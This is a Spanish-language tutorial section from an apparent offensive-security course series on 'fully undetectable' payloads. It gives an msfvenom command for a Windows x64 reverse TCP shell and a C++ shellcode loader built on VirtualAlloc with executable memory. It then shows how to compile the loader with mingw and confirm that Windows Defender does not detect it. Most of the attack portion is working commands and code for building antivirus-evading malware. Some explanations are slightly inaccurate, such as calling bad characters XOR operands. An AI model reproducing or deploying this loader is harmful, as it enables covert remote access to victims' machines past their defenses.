5.4.2. Antivirus Bypass con Metasploit y binarios customizados con C y C
Este artículo pertenece a la serie de FUD (Fully Undetectable) Payload Malware. Para poder seguirlo es necesario haber consolidado los conocimientos que se dan en Malware SA en temas como Metasploit, funcionamiento de memoria del sistema, debugging, lenguaje ensamblador, OllyDbg, etc.
La siguiente práctica (breve) consiste en crear una shell manipulada como un simple programa escrito en lenguaje C/C++ tal y como presenta la referencia indicada arriba. Con ello se consigue evadir temporalmente los sistemas de seguridad como antivirus (AV), aunque con conexiones inestables y de corta duración. Los pasos a seguir son los siguientes:
1. Se crea una shell (payload) con Msfvenom en formato de lenguaje C (-f c), eliminando operandos de XOR (\x00, \x0a y \x0d) con el parámetro -b. La shell es de tipo stageless (payload):
msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f c -b \x00\x0a\x0d –o file.c
2. Al fichero fuente creado, se le cambia la extensión de .c a .cpp, que indica que el código fuente es C++. Ahora se edita el contenido con un editor de texto, modificando el código por el que se muestra a continuación:
#include "windows.h"
int main()
{
unsigned char shellcode[] =
"\x48\x32\xc9\x48…"
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
return 0;
}
En este código se incluye la declaración para el uso de la librería de funciones para API de Windows (windows.h), que es fundamental para desarrollar aplicaciones que trabajen en este sistema operativo. Por otro lado, se declara en una variable de tipo array el contenido en hexadecimal de la shellcode. Este tipo de variables se suelen utilizar para declarar una serie de instrucciones en lenguaje máquina, normalmente en hexadecimal.
Finalmente, y la parte más compleja, consiste en interpretar el código de las últimas instrucciones. Sin entrar en detalle se tiene:
- void *exec = …: Se asigna un bloque de memoria con la función VirtualAlloc en el espacio de direcciones del proceso en ejecución (*exec es la variable de tipo puntero que contendrá la dirección). El tamaño que debe reservarse viene dado por el parámetro en la función sizeof shellcode, que es el contenido de la shell (en bytes).
- memcpy(exec, shellcode …): Esta función copia memoria de una ubicación a otra, siendo exec el punto de inicio, shell los datos a copiar y sizeoff shellcode el tamaño.
- ((void(*) ())exec) (): Esta línea intenta ejecutar el contenido de la memoria a la que apunta *exec. Este código tiene la particularidad de convertir exec de puntero a tipo void sin tomar ningún argumento. Expresado en otros términos, se intenta tratar la memoria como si tuviera código. De este modo, se consigue poder ejecutar el código de la shellcode.
3. Para terminar se compila con mingw para la arquitectura de 64 bits, que es la herramienta para compilar ejecutables (PE) de Windows en Linux. En caso de no disponer de la herramienta, se indica la forma de descargar desde los repositorios:
sudo apt update && sudo apt install mingw-w64
x86_64-w64-mingw32-g++ file.cpp –o shellx64.exe
Ahora solo falta comprobar su funcionamiento. Se inicia un socket (handler) para la shell reversa y se traslada el ejecutable creado a un entorno Windows con alguna medida de defensa como un antivirus estándar o Windows Defender. Se comprueba que efectivamente el sistema Antivirus no detecta el ejecutable como malicioso, aunque por otro lado la conexión establecida para la shell es débil.
Referencias:
https://ired.team/offensive-security/defense-evasion/av-bypass-with-metasploit-templates